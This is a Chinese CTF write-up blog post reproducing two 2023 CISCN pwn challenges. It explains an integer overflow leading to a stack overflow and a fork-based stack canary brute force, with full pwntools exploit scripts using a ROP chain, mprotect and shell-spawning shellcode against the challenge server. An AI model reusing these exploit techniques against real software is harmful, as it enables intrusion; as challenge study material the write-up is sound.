2023ciscn-PWN复现

D0wnBe@t Lv4

烧烤摊

漏洞点很明显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF

v10 = 1;
v9 = 1;
puts(&unk_4B70B6);
puts(&unk_4B70C6);
puts(&unk_4B70D2);
_isoc99_scanf(&unk_4B70B3, &v10, v0, v1, v2, v3);
puts(&unk_4B70E2); // 来几瓶?
_isoc99_scanf(&unk_4B70B3, &v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
puts(&unk_4B70EF); // 诶哟,钱不够了
else
money += -10 * v9;
puts(&unk_4B7105); // 咕噜咕噜...
return 0LL;
}
  • 没对v9的正负进行检查,所以可以造成money的整数溢出,从而在下面 vip处使得own=1
  • 接着进入到 case 5的地方,该地方是 %s写入,所以可以溢出,那就很清楚了,由于该题目还是静态编译的,函数和gadget都不缺,所以可以打 orw ,orw也有两种,可以构造 open,read,write函数,也可以用mrpotect提权,然后写shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 gaiming()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
_BYTE v5[32]; // [rsp+0h] [rbp-20h] BYREF

puts(&unk_4B71C0); // 烧烤摊儿已归你所有,请赐名:
_isoc99_scanf(&unk_4B71EB, v5, v0, v1, v2, v3);
j_strcpy_ifunc(&name, v5);
return 0LL;
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/lib/x86_64-linux-gnu/libc.so.6"


#p = process(file)
elf = ELF(file)
libc = ELF(libc)
p = remote("pwn.challenge.ctf.show",)

sla("> ",'1')
sl('1')
sl('-100000') # 直接溢出

sla("> ", '4') # 进入vip,买下店子
# print(p.recv())
sla("> ", '5') # 溢出随便写
# sleep(0.5)

pop_rdi_ret = 0x000000000040264f
pop_rsi_ret = 0x000000000040a67e
pop_rdx_rbx_ret = 0x00000000004a404b
name = 0x4E60F0
# bss = elf.bss() + 0x100
# open = elf.sym['open64']
read = elf.sym['read']
# write = elf.sym['write']
# payload = b'./flag'.ljust(0x28,b'\x00')
# payload += flat(pop_rdi_ret , name , pop_rsi_ret , 0 , open) # open('./flag')
# payload += flat(pop_rdi_ret , 3 , pop_rsi_ret , bss , pop_rdx_rbx_ret , 0x30 , 0 , read) # read
# payload += flat(pop_rdi_ret , 1 , pop_rsi_ret , bss , pop_rdx_rbx_ret, 0x30 , 0 , write)

bss = 0x4E9000
mprotect = elf.sym['mprotect']
payload = cyclic(0x28)
payload += flat(pop_rdi_ret , bss , pop_rsi_ret , 0x1000, pop_rdx_rbx_ret , 7, 0 , mprotect)
payload += flat(pop_rdi_ret , 0 , pop_rsi_ret , bss+0x500 , pop_rdx_rbx_ret , 0x30 , 0 , read)
payload += p64(bss+0x500)

sla("烧烤摊儿已归你所有,请赐名:",payload)
sleep(0.2)
sl(asm(shellcraft.sh()))

ia()

funcanary

漏洞分析

  • 经典的fork创建子进程爆破canary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]

sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
  • 除了末字节的\x00,爆破其余七位即可

  • 由于程序还开启了PIE,还要再爆破一下backdoor的低两字节,直接看脚本吧

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/lib/x86_64-linux-gnu/libc.so.6"


# p = process(file)
elf = ELF(file)
libc = ELF(libc)
p = remote("pwn.challenge.ctf.show",28131)

canary = b'\x00'
for i in range(7):
for j in range(0x100):
conn = cyclic(0x68) + canary + p8(j)
sa("welcome\n", conn)
rev = p.recvline()
if b'stack' not in rev:
canary += p8(j)
break

print(hex(u64(canary)))

backdoor = 0x0231
for i in range(0x10):
payload = cyclic(0x68) + canary + b'deadbeaf' + p16(backdoor)
sd(payload)
rev = p.readline()
print(rev)
if b'welcome' in rev:
backdoor += 0x1000
continue
else:
break
ia()
  • 标题: 2023ciscn-PWN复现
  • 作者: D0wnBe@t
  • 创建于 : 2025-03-09 21:33:32
  • 更新于 : 2025-03-10 21:51:02
  • 链接: http://downbeat.top/2025/03/09/2023ciscn-PWN复现/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
2023ciscn-PWN复现